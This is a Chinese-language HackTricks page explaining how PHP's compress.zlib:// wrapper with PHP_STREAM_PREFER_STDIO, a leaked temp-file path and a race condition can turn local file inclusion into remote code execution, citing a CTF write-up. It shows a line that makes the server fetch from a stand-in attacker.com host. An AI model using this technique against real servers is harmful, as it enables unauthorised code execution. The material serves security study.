5.1 KiB
LFI2RCE 通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们独家的NFTs收藏
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm** 上关注我们**。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
WhiteIntel
WhiteIntel 是一个由暗网推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件的侵害。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
compress.zlib://
和 PHP_STREAM_PREFER_STDIO
使用协议 compress.zlib://
和标志 PHP_STREAM_PREFER_STDIO
打开的文件可以继续将到达连接的数据写入同一文件。
这意味着可以进行如下调用:
file_get_contents("compress.zlib://http://attacker.com/file")
将发送一个请求,请求http://attacker.com/file,然后服务器可能会用一个有效的HTTP响应来回应该请求,保持连接打开,并在稍后发送额外数据,这些数据也会被写入文件。
您可以在php-src代码中的main/streams/cast.c部分看到这些信息:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Race Condition to RCE
这个CTF 是使用之前的技巧解决的。
攻击者将使受害者服务器打开一个连接,从攻击者服务器读取文件,使用**compress.zlib
**协议。
在这个连接存在的时候,攻击者将窃取临时文件的路径(被服务器泄露)。
在连接仍然打开的情况下,攻击者将利用LFI加载他控制的临时文件。
然而,Web服务器中有一个检查,阻止加载包含 <?
的文件。因此,攻击者将滥用竞争条件。在仍然打开的连接中,攻击者将在Web服务器检查文件是否包含被禁止字符之后发送PHP有效载荷,但在加载其内容之前。
有关更多信息,请查看https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer中的竞争条件和CTF的描述。
WhiteIntel
WhiteIntel 是一个以暗网为基础的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件的威胁。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。